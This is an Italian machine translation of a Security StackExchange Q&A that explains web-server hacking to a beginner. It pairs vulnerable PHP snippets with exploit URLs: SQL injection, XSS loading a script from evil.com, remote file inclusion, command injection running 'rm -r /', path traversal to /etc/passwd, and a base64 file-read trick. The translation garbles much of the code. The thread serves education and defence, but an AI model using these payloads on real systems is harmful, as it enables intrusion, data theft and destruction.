Domanda:
Come funziona l'hacking?
user7360
2012-02-01 00:31:44 UTC
view on stackexchange narkive permalink

Sto parlando specificamente di server web, che eseguono Unix. Sono sempre stato curioso di sapere come gli hacker ottengono il punto di ingresso. Voglio dire, non vedo come un hacker possa entrare nella pagina web quando l'unico metodo di accesso che hanno nel server è un URL. Devo mancare qualcosa, perché non vedo in alcun modo come l'hacker possa accedere al server semplicemente cambiando l'URL.

Per punto di ingresso intendo il punto di accesso. Il modo in cui un hacker entra nel server.

Potrei avere un esempio di come un hacker creerebbe un punto di ingresso in un server web? Qualsiasi C la lingua è accettabile. Non ho assolutamente esperienza di hacking

Un semplice esempio sarebbe apprezzato.

Penso che tu abbia bisogno di fare qualche ricerca su questo sito per alcune di queste informazioni di base. Potrebbe essere utile anche una ricerca su Google. Cerca 'exploit' 'OWASP' 'port scanning'
Indovina la password.
Ho visto molti film quindi ho preso questo, usa hack.exe e qualunque cosa stavi pensando hack.exe lo farà. Lo stesso hack.exe funzionerà per più attività (non ci sono nemmeno argomenti di input).
L'ho visto su CSI. Si utilizza Visual Basic per creare un'interfaccia utente GUI.
@skynorth - O più comunemente si ruba la password tramite keylogger; riutilizzo delle password (e un sito dannoso che accumula password / tentativi di password); firesheep / wirehark; o meccanismo di reimpostazione della password non funzionante.
Non posso resistere a pubblicare questo "tutorial" sull'hacking ... http: //www.youtube.com/watch? V = u8qgehH3kEQ
Per molti attacchi, l'obiettivo principale è trasformarlo in un accesso di amministratore o di sviluppatore dimenticato. Una volta lì, un aggressore può farsi strada con il sistema.
Oltre ad essere una domanda tipo elenco (che di solito non è adatta per i siti SE), questa è una domanda incredibilmente aperta. La metà di questo sito è una risposta, e anche questo ovviamente non è completo. Le risposte seguenti sono buoni esempi, ma non neanche lontanamente complete.
Sette risposte:
Chris Dale
2012-02-01 02:49:37 UTC
view on stackexchange narkive permalink

Hack che funzionano semplicemente cambiando l'URL

  • Un esempio legittimo e uno dannoso
  • Alcuni esempi richiedono la codifica dell'URL per funzionare (di solito eseguita automaticamente dal browser)

SQL Injection 

  $ username = $ _POST [ 'username']; $ pw = $ _GET ['password']; mysql_query ("SELECT * FROM userTable WHERE username = $ username AND password = $ pw");

exploit (accede come amministratore senza conoscere la password): 

  example.com/?username=Administrator&password=legalPasswordThatShouldBePostInsteadOfGetexample.com/?username=Administrator&password=password 'o 1 = 1- -

Cross Site Scripting (XSS) 

  $ nickname = $ _GET ['nickname']; echo "<div>Il tuo nickname è $ nickname< / div> \ n";

exploit (registratori che visitano l'utente come zombi in BeEF): 

example.com/?nickname=Karraxexample.com/?nickname=<script src = "evil.com/beefmagic.js.php" / >

Esecuzione di codice in modalità remota

codice (esempio di Tylerl): 

  <? include ($ _ GET ["modulo"]. ". php"); ? >

exploit (scarica ed esegue codice arbitrario): 

  example.com/?module=frontpageexample.com/ ? module = pastebin.com / mymaliciousscript

Iniezione di comandi

codice: 

  <? Phpecho shell_exec ('cat'. $ _ GET ['filename']) ;? >

exploit (cerca di eliminare tutti i file dalla directory principale): 

  example.com/?filename=readme.txtexample.com/?filename=readme.txt;rm -r /

Iniezione di codice

codice: 

  <? Php $ myvar = "varname"; $ x = $ _GET ['arg']; eval ("\ $ myvar = \ $ x;") ;? >

exploit (inietta il comando phpinfo () che stampa sullo schermo informazioni di attacco molto utili): 

  example.com/?arg=1example.com/?arg = 1; phpinfo ()

Iniezione LDAP

codice: 

  <? php $ nome utente = $ _GET ['nomeutente']; $ password = $ _GET ['password']; ldap_query ("(& (cn = $ nome utente) (password = $ password)")? >

exploit (accede senza conoscere la password dell'amministratore): 

  example.com/?username=admin&password=adminadminexample.com/?username=admin&password = *

Attraversamento del percorso

codice: 

  <? phpinclude ("./" . $ _GET ['page']) ;? >

exploit (fetches / etc / passwd): 

  esempio .com /? page = front.phpexample.com /? page = .. / .. / .. / .. / .. / .. / .. / .. / etc / passwd

Reindirizzamento / Attacco in avanti

codice: 

  <? php $ redirectUrl = $ _GET ['url'] ; header ("Location: $ redirectUrl");? >

exploit (invia l'utente dalla tua pagina a evil p età): 

  example.com/?url=example.com/faq.phpexample.com/?url=evil.com/sploitCode.php

Mancata limitazione dell'accesso all'URL

code: 

  N / A. Mancanza di .htaccess ACL o controllo di accesso simile. Consente all'utente di indovinare o in altro modo scoprire la posizione del contenuto che dovrebbe essere accessibile solo dopo aver effettuato l'accesso.

exploit: 

  example.com/users/showUser.phpexample.com/admins/editUser.php

Cross-Site Request Forgery

codice : 

  N / A. Il codice manca di un segreto da pagina a pagina per convalidare che la richiesta proviene dal sito corrente. Implementa un segreto che viene trasmesso e convalidato tra le pagine. 

  Legal: example.com/app/transferFunds?amount=1500&destinationAccount=4673243243Sulla pagina diabolica: <img src = "http://example.com/app/transferFunds?amount=1500destinationAccount=evilAccount#" 0 "height =" 0 "/ >

Buffer overflow (tecnicamente accedendo a un URL, ma implementato con metasploit

codice: 

  N / A. Vulnerabilità nel codice del server web stesso. Overflow del buffer standard

Exploit (Metasploit + meterpreter?): 

  http : //www.exploit-db.com/exploits/16798/
Ottima risposta, hai pensato di rendere questo un post wiki in modo che altri possano aggiungere dettagli extra ecc. :)
Purtroppo la maggior parte delle scuole non lo include in nessuna lezione di programmazione. Ho dovuto fare da solo tecnico per la maggior parte di questo e spesso ho aiutato i compagni di classe a difendersi (e ho dovuto hackerare il sito Web di un insegnante per dimostrare il mio punto)
@s4uadmin Spero che tu abbia avuto un buon rapporto con il tuo insegnante, "Per dimostrare un punto" di solito non giustifica l'hacking del sito di qualcun altro.
Non capisco, tutte queste tecniche si basano sul fatto che il server non convalidi l'input. Una volta che il server convalida l'input, questi metodi non funzioneranno più per un po '.
@Pacerier la maggior parte degli exploit sono causati da qualcuno che fa un casino da qualche parte. Basta una singola supervisione per consentire a un utente malintenzionato di accedere a un sito altrimenti sicuro.
@John Isaacks, beh, sono ancora un buon amico con lui. Ha detto di andare avanti, gli ho chiesto se aveva i backup pronti e quando ha detto di sì ho fatto alcuni exploit. ha finito per cancellare il suo intero database e rimuovere la maggior parte dei file che aveva. Non sapeva che tutto ciò era possibile grazie a un piccolo campo di ricerca e al modo in cui il suo sito caricava le pagine.
@DanNeely È facile non sbagliare. Fondamentalmente tutte queste cose sono racchiuse in una singola funzione "F (input utente)" ed è ora sicura al 100%. Ad esempio, le SQL injection non esistono più nei siti Web * reali *. È ** così facile ** prevenirli.
@Pacerier La convalida dell'input richiede che un programmatore lo faccia. Va notato che la "convalida dell'input" è la causa principale di metà della Top 10 OWASP
@ScottPack Sì, ma di solito ci sono già funzioni che racchiudono tutto l'algoritmo di validazione dell'input richiesto in un singolo `IsValid (" user-input ")`.
Rispettosamente non sono d'accordo con le tue argomentazioni che esistono più. Lo sviluppatore deve ricordarsi di racchiudere ogni singolo input dell'utente, che è un esercizio non banale se non è abituato a farlo. http://www.darkreading.com/database-security/167901020/security/attacks-breaches/232301285/latest-sql-injection-campaign-infects-1-million-web-pages.html
@Pacerier Dovrebbe essere facile; ma il fatto che l'input dell'utente non convalidato sia ancora in cima alla lista dei canali di exploit di successo significa che ci sono ancora un numero enorme di persone che si definiscono sviluppatori web che non riescono a farlo bene.
@Pacerier: Il problema di solito non è tecnico, come dimostrato dal fatto che alcuni linguaggi forniscono già subroutine di convalida. Il problema è che gli sviluppatori non li usano (o non li usano correttamente), il che lo trasforma in un problema di istruzione e / o sviluppo / test / processo aziendale.
Non capisco cosa fa example.com/?url=evil.com/sploitCode.php
@LouisRhys, è un attacco di reindirizzamento che reindirizza l'utente agli attacchi "sploitCode.php" che intendo è exploitCode.php. Potrebbe trattarsi di qualsiasi cosa, da un sito di phising a un exploit del browser a qualsiasi cosa tu voglia. Finché l'utente è sul tuo sito hai molto controllo!
Ci sono così tanti exploit del metodo di invio dei form `GET`; `include ($ _ GET ['anything'])` ** sul serio? ** Chi lo fa?
@JYelton saresti molto, molto sorpreso (e deluso). Succede sempre su piccoli siti web PHP se qualcuno ha un sistema di "menu" (molte, molte guide insegnerebbero questo metodo!).
@Pacerier Penseresti che sarebbe facile e non succederebbe, e ti sbaglieresti. HBGary Federal è stata completamente distrutta a causa della testa di ponte creata tramite una singola SQL Injection, che è la stessa storia della maggior parte delle altre vittime di Anonymous. Le scuole non insegnano i pericoli di SQL injection, o buffer overflow, ecc. La convalida dell'input è, nella migliore delle ipotesi, un pensiero a posteriori. E del resto, cosa è "valido"? Se ho un forum web, devo convalidare sia contro le SQL injection che contro l'HTML incorporato (spesso non la stessa funzione). Francamente, il fatto che le iniezioni SQL avvengano ancora è spaventoso!
@Kitsune Non credo che sviluppatori esperti prenderanno mai l'input di un utente e non lo * puliranno *. Oggigiorno sql non viene utilizzato per i siti * reali * ma per i siti creati * per divertimento * dagli studenti
@Pacerier Quindi il sito web di Sony Picture non è un sito "reale"? Se cerchi in giro (o segui vari siti), vedrai che gli attacchi di SQL injection sono ancora eventi molto comuni anche per siti Web di grandi dimensioni. La vera soluzione a * SQL injection * non è usare comunque una funzione "isValid", ma usare istruzioni preparate (che non altereranno i tuoi dati o limiteranno inutilmente contenuti legittimi). Il problema sta cercando di mescolare codice e dati in SQL, non i dati stessi. Hai ancora bisogno di disinfettare l'input a seconda di dove va, ma questo dipende dal caso in cui devi fare con esso, non per SQL.
Come potrebbe sapere un utente malintenzionato di utilizzare questi metodi, senza conoscere il codice in primo luogo. ad esempio per l'iniezione SQL, come potrebbero sapere cosa inserire per completare il codice esistente e quindi aggiungere il proprio?
@Jonathan. in base all'esperienza si può imparare a pensare a come uno sviluppatore ha programmato l'applicazione. In alcuni casi è molto probabilmente scritto in un certo modo. Inoltre in alcuni casi i messaggi di errore possono essere troppo rivelatori, lasciando indizi per l'attaccante. Ad essere onesti, questo è ciò che rende i test di penetrazione i più divertenti! Avere la sensazione di "battere" lo sviluppatore nel suo design e codice.
Dove posizionare il codice PHP nel primo esempio? Webforms?
Se sei un utente abbastanza tecnico che sta cercando di entrare nella sicurezza IT, ti consiglio vivamente di controllare il sito hackthissite.org. Ha esempi sicuri di siti Web che sono "vulnerabili" a questo tipo di attacchi e dimostra come funzionano abbastanza bene se si desidera vedere in azione i propri siti.
Mi rendo conto che la discussione risale a diversi mesi fa, ma @Pacerier sono abbastanza sicuro che una grande percentuale di ciò che è su Internet * non * è scritto da sviluppatori esperti. Ecco perché sql injection è ancora una realtà, è banale prendersi cura di se sai cosa stai facendo, ma ci sono molte persone che non lo fanno.
Ad esempio, se visiti il ​​feed di domande dell'etichetta PHP su Stack Exchange in un dato punto, e questo è molto reale, circa il 40-50% delle nuove domande sulla prima pagina * conterrà * una combinazione php + mysql che è vulnerabile alle iniezioni sql - e non è raro che questo tipo di codice si trovi nelle piccole / medie imprese (fino a quando non si rompe, ovviamente)
(Questo è anche uno dei motivi per cui PHP ha una cattiva reputazione tra gli sviluppatori più esperti)
@kitsune, sì, puoi considerarlo un sito * reale * allora. Apparentemente non si sono preoccupati di spendere abbastanza per il loro sito web, http://www.sonypictures.com non è nemmeno accessibile in questo momento
@Pacerier, il sito è attivo adesso per me. Quindi quello che stai dicendo è che SQL Injection non è un problema per nessun sito "reale", dove "reale" è definito come qualsiasi sito non vulnerabile a SQL Injection? Questo è un vero e proprio errore di "No True Scotsman"! Se questa non è la definizione, che ne dici di fornire la * tua * definizione di un sito `reale`? Sono abbastanza sicuro che qualunque definizione tu fornisca escluderà praticamente ogni sito su Internet.
@Kitsune, * real * site è un sito di proprietà di una * grande * azienda IT, ad es. Google, Microsoft.
@Kitsune, vinci la discussione se c'è un attacco SQL injection contro Google. E ovviamente non sto parlando dei vecchi tempi, sto parlando di * questi giorni *.
@Pacerier Ora stai cambiando i tuoi argomenti! Prima sostenevi che SQL Injection si verificava solo contro siti costruiti "per divertimento da studenti" ... poi ho fornito un esempio recente di un sito di proprietà di una grande azienda (e nemmeno un sito usa e getta, ma il sito principale per una divisione principale) che è stato violato tramite una SQL Injection. Per quanto riguarda alcune società tecnologiche? Solo alcuni casuali relativamente recenti, ma Yahoo a luglio, Nokia ad agosto 2011, LinkedIn qualche mese fa (probabilmente causato da SQL injection, anche se nessuna parola ufficiale). Solo per citarne alcuni che sono diventati pubblici. Ora dirai che non contano.
tylerl
2012-02-01 01:35:44 UTC
view on stackexchange narkive permalink

Il modo (attualmente) più comune di entrare è attraverso i buchi nelle applicazioni PHP. Ci sono dozzine di modi in cui questo potrebbe funzionare, ma eccone uno semplice, facile:

Immagina che l'ignaro proprietario del sito decida di prendere una scorciatoia nel suo codice tale che http: // example. com / site.php? module = xyz in realtà carica prima un template di shell e poi esegue "xyz.php" per riempire il contenuto. Quindi forse scrive qualcosa del genere: 

  <h1>My Awesome CMS< / h1><? include ($ _ GET ["modulo"]. ". php"); ? ><p>Vedi cosa ho fatto lì? Wow, è stato intelligente.< / p>

L'hacker quindi visita il sito utilizzando il seguente URL:
http://example.com/site.php?module= http://malicio.us/evilprogram

Ora, invece di caricare il suo script locale, PHP esce e scarica http://malicio.us/evilprogram.php e lo esegue, eseguendo qualsiasi codice PHP desiderato dall'aggressore. Forse inviare spam, forse installare una backdoor shell, forse cercare password nei file di configurazione.

Ci sono letteralmente migliaia di modi per hackerare un sito, ognuno nuovo come l'altro. Quasi universalmente, coinvolgono un programmatore che non ha pensato a tutti i possibili input al loro programma e agli effetti inaspettati che potrebbero avere.

Mi hai battuto (in particolare "ci sono migliaia di modi"), quindi fai +1 per te, ma vorrei aggiungere che c'è un altro esempio qui: http://www.greensql.com/articles/backdoor- webserver-using-mysql-sql-injection
+1 per far luce sul motivo per cui qualcuno dovrebbe usare il folle `include ($ _ GET ['anything'])`
@JYelton: L'ho visto più volte nel codice scritto dai miei clienti. Quando qualcuno inizia una conversazione con "Così abbiamo sviluppato il nostro CMS ...", rabbrividisco un po '.
schroeder
2012-02-01 01:57:32 UTC
view on stackexchange narkive permalink

Ci sono 2 modi di vederlo, potresti concentrarti sul server stesso o concentrarti sull'applicazione web che il server sta eseguendo.

Come server, può avere porte aperte che eseguono servizi a cui puoi connetterti e ottenere l'accesso al server. Utilizzando exploit noti, potresti ottenere l'accesso come root. Ad esempio, alcuni server FTP per Unix hanno vulnerabilità che possono essere sfruttate da strumenti come Metasploit per ottenere una shell di root.

Come applicazione, ci sono troppi modi per sfruttare un'applicazione scritta o configurata male. Ad esempio, se passi una query SQL come GET, potresti effettivamente manipolare l'URL stesso per eseguire un attacco SQL Injection e eseguire il dump di interi database. Ad esempio (a seconda della codifica del sito): http://www.mydomain.com/products/products.asp?productid=123 UNION SELECT username, password FROM USERS

Ancora una volta, tocchi un argomento enorme e spero che questi ti aiutino a focalizzare i tuoi prossimi passi.

Sono d'accordo che ci sono due punti di accesso; un'applicazione debole o vulnerabilità nel server. Ma per un server aggiornato (diciamo che esegue solo apache2 per visualizzare pagine html statiche e sshd da una versione stabile di Ubuntu con tutti i percorsi di sicurezza) con passphrase forti è molto improbabile che venga violato (oltre a dire un ddos ​​per sovraccaricare il sito; o qualcuno che accede da una macchina keylogged), soprattutto se vengono prese precauzioni. Gli exploit 0-day, sebbene esistano sicuramente (specialmente nel software bleeding edge) sono piuttosto rari in natura per il software maturo.
L'OP stava cercando modi per ottenere l'accesso al server. Targeting del server stesso e dei servizi che esegue è un modo praticabile per farlo. Sono d'accordo che un server web debba essere configurato per limitare questa superficie di attacco, ma spetta alle persone farlo e le persone sono soggette a errori. Ad esempio, sono stato in grado di prendere piede in una nuova macchina di posta Pitney Bowes sulla nostra rete perché non avevano un processo per aggiornare i servizi del sistema operativo. È un software maturo e non all'avanguardia disponibile in commercio per tutti.
Zenexer
2012-02-04 05:31:02 UTC
view on stackexchange narkive permalink

La risposta breve

Questa potrebbe non essere la domanda giusta.

Un hacker ...

... è un ingegnere sociale.

Sono più interessati alle loro interazioni con le persone che alle loro interazioni con i computer. Un hacker preferirebbe di gran lunga che tu gli consegni la tua password, piuttosto che forzarla.

... sta cercando conoscenza ...

... e sa che la conoscenza è energia. Un hacker è più interessato a ottenere il numero della tua carta di credito che a usarlo .

... usa la moralità come scusa .. .

... non una causa. Questo è il motivo per cui molti hacker trarranno vantaggio da eventi politici orientati moralmente per diventare pubblici. Sanno che possono usare la moralità per giustificare le loro azioni agli occhi del pubblico.

... non viene scoperto a meno che non lo voglia.

La maggior parte delle volte. Gli hacker aspiranti che saltano dentro senza alcun riguardo per la furtività o l'anonimato sono noti come "script kiddies" o "skiddies" nella comunità degli hacker. Ci sono molti più skiddies che hacker, molto probabilmente, e saranno probabilmente il tuo più grande fastidio.

... non ha bisogno di strumenti speciali o backdoor.

che hai fornito è probabilmente sufficiente.

La lunga risposta

Puoi proteggerti dagli exploit in Metasploit quanto vuoi. Un hacker entrerà dalla porta principale, se non virtualmente, letteralmente.

La risposta che vuoi

Visto che alla gente non piace la risposta che io ha dato , per quanto adeguato sia, ti darò qualcosa in più sulla falsariga di ciò che desideri.

Agli hacker piace rimanere anonimi. Il primo passo in ogni attacco è mettere insieme una linea di proxy di qualche tipo, siano essi proxy SOCKS, zombi o semplici bot che formano una botnet. Ci sono alcuni modi per farlo, ma prendiamo alcuni proxy morti per motivi di discussione. Vai su pastebin.com e cerca 8080 . Questa è una porta comune per i proxy web. Scorri verso il basso nei risultati fino a trovare un elenco di indirizzi IP e fai clic per visualizzare il risultato. Dovresti avere un lungo elenco di proxy web. Posso garantire che la maggior parte, se non tutti, sarà morta. Spiacenti, questo non è un tutorial sull'hacking.

Il passaggio successivo consiste nel raccogliere informazioni apparentemente banali sul tuo obiettivo. Utilizzando i suoi proxy, un hacker eseguirà portscan, quindi sonderà tutti i servizi che trova. Hai un sito web? Esploriamolo. Hai un server MySQL? Vediamo di che versione è. Esegui SSH? Vediamo se accetta password di testo o è limitato ai certificati.

Quindi l'hacker si siede, guarda cosa ha raccolto e decide qual è il punto più debole del sistema. A seconda delle dimensioni del sistema, potrebbe tornare indietro e sondare un po 'di più, se c'è di più da sondare e sente di non aver acquisito una debolezza abbastanza buona. Una debolezza non deve essere un vero "buco" di sicurezza: deve essere solo l'anello più debole. Forse hai un server FTP che non protegge dal martellamento (ripetuti tentativi di accesso). Forse hai un server web con un sacco di moduli o URL potenzialmente sfruttabili. Vale la pena indagare ulteriormente.

Se necessario, l'aggressore potrebbe scrivere uno script o un programma per eseguire l'attacco finale, anche se non è sempre così. La maggior parte dei punti deboli può essere sfruttata con gli strumenti esistenti, quindi questo di solito non è necessario per l'hacker moderno. Tuttavia, occasionalmente gli hacker scoprono nuove falle di sicurezza nel software, nel qual caso talvolta devono scrivere strumenti speciali per sfruttare tale software.

Un buon esempio di un programma di attacco palesemente ovvio è quello utilizzato per causare problemi ai server di un gioco chiamato Terraria. Questo non era il suo scopo originale, ma poiché espone vari exploit nel software del server, tende ad essere utilizzato per quello da altri. L'ho scritto in C #. Il codice sorgente è disponibile su GitHub. Gli exploit utilizzano la manipolazione del bytecode per modificare il client esistente per inviare dati dannosi. Il server non si aspetta questi dati e reagisce in modi in cui non è stato progettato per funzionare. Scoprire exploit come questo può essere semplice come il reverse engineering del software di destinazione - dico semplice perché questo è diventato un compito sempre più facile con i linguaggi riflessivi moderni, come C # e Java. Programmi come .NET Reflector (a pagamento) e dotPeek (gratuito, per ora) lo rendono possibile con il clic di un pulsante. Un programmatore C # sufficientemente addestrato può quindi osservare il codice, determinarne la funzionalità e scrivere un programma per alterare questa funzionalità.

Non credo che questo stia rispondendo alla domanda che è stata posta. Che sia o meno la domanda "giusta" è un'altra questione, ma se stai rispondendo, credo che dovresti provare a [rispondere alla domanda] (http://security.stackexchange.com/questions/how-to-answer) che è stato chiesto.
Alla fine ho risposto alla domanda. Ho appena portato ad esso. Volevo dare un contesto alla mia risposta.
Hai risposto, ma non la domanda che è stata posta. Da quello che ho capito, la domanda riguardava specificamente l'hacking in un server e la ricerca di esempi specifici (ad esempio "Sto parlando specificamente di server web, eseguendo Unix").
@YoavAner Bene, volevo fornire un contesto in modo da poter spiegare perché non stavo fornendo un esempio. Il motivo per cui non ho fornito un campione è che la mia risposta in realtà non ne garantisce uno. Quando immagino un hacker, vedo qualcuno che entra in un edificio, subito dopo la sicurezza, si dirige nella sala server e si siede a una console.
Ho aggiunto la risposta che tutti volevano. Si spera che sia adeguato.
user5575
2012-02-01 07:31:10 UTC
view on stackexchange narkive permalink

Un mio amico aveva un contratto per lavorare su un sito. Mentre lo faceva, ha notato che gli hacker sono entrati nel sito Web e hanno fatto cose che non gli piacevano. Dopo aver esaminato alcuni file di log, ha notato che gli "hacker" hanno trovato il sito cercando su Google un errore mysql.

Quando sei in grado di iniettare sql puoi fare quello che vuoi, come creare un account. Se puoi caricare file (specialmente php) hai la possibilità di essere in grado di eseguirlo. Se puoi eseguirlo, puoi fare più danni come leggere / scrivere file sul file system del server anche se non hai un account sul server linux / windows.

Un'altra tecnica sta penetrando nel database, guardando le password (specialmente se non sono sottoposte ad hashing) piuttosto che provare a stabilire una connessione ssh o ftp allo stesso indirizzo ip del sito e provare le combinazioni utente / password.

Inoltre non è necessario entrare in il server per essere violato. Qualcuno che ho incontrato mi ha raccontato una storia di come il software obsoleto fosse installato sul suo server. Gli aggressori lo hanno utilizzato per caricare ed eseguire il proprio file php che ha iniettato una riga di codice (per aggiungere un iframe) in ogni file index.php e index.html. In sostanza nessuno è stato in grado di visitare il sito. Reindirizzava o dava molti popup.

Usare un vecchio software che ha conosciuto exploit sta ancora "irrompendo nel sistema" e tu descrivi è blando rispetto a quello che avrebbero potuto fare.
jl01
2012-02-01 21:27:39 UTC
view on stackexchange narkive permalink

Quante volte abbiamo letto di accessi senza password o "Joes"? Non richiede la conoscenza di Metasploit o qualcosa di veramente esotico per entrare dalla porta principale. Un po 'come un'auto che corre seduta in un vialetto in una fredda mattina "Per favore, rubami".

Taipo
2012-02-03 12:53:15 UTC
view on stackexchange narkive permalink

Solo alcuni altri esempi da considerare.

Seguendo l'esempio di tylerl: 

  <? php if (isset ($ _GET ['id'] )) include ($ _GET ['id']. ".php") ;? >

Vettore di attacco: 

  http: // victimsite. com /? id = php: //filter/read=convert.base64-encode/resource=includes/configure

Questo è un file locale include un attacco base64 a causa della mancanza di codifica sicura , un utente malintenzionato è in grado di leggere quasi tutti i file sul sito o sul server che terminano con [.php], in questo caso leggendo il contenuto del file configure.php, PHP restituisce un base64_encode dell'intero contenuto del file che è facilmente decodificato torna al testo leggibile.

Tuttavia, l'URL non valido non deve cercare falle nella convalida della sicurezza dell'input.

In molti siti di commercio web, il codice $ PHP_SELF riporta erroneamente il nome del file dove yoursite.com /admin/administrators.php, $ PHP_SELF ha riportato il nome del file come administrators.php, tuttavia se login.php è stato aggiunto come admin / adm inistrators.php / login.php, quindi $ PHP_SELF riporta erroneamente login.php come nome del file invece di administrators.php.

Quindi, ad esempio, se la domanda di convalida della sessione di amministrazione viene posta in questo impressionante esempio:

* if (non una sessione di amministrazione valida) e ($ PHP_SELF non è = a login.php) quindi reindirizza a login.php *

La pagina non reindirizzerà mai al login .php perché $ PHP_SELF riporta erroneamente il vero nome del file, quindi l'attaccante ha accesso al file administrators.php senza la necessità delle credenziali corrette.



ⓘ
Questa domanda e risposta è stata tradotta automaticamente dalla lingua inglese. Il contenuto originale è disponibile su stackexchange, che ringraziamo per la licenza cc by-sa 3.0 con cui è distribuito.
Loading...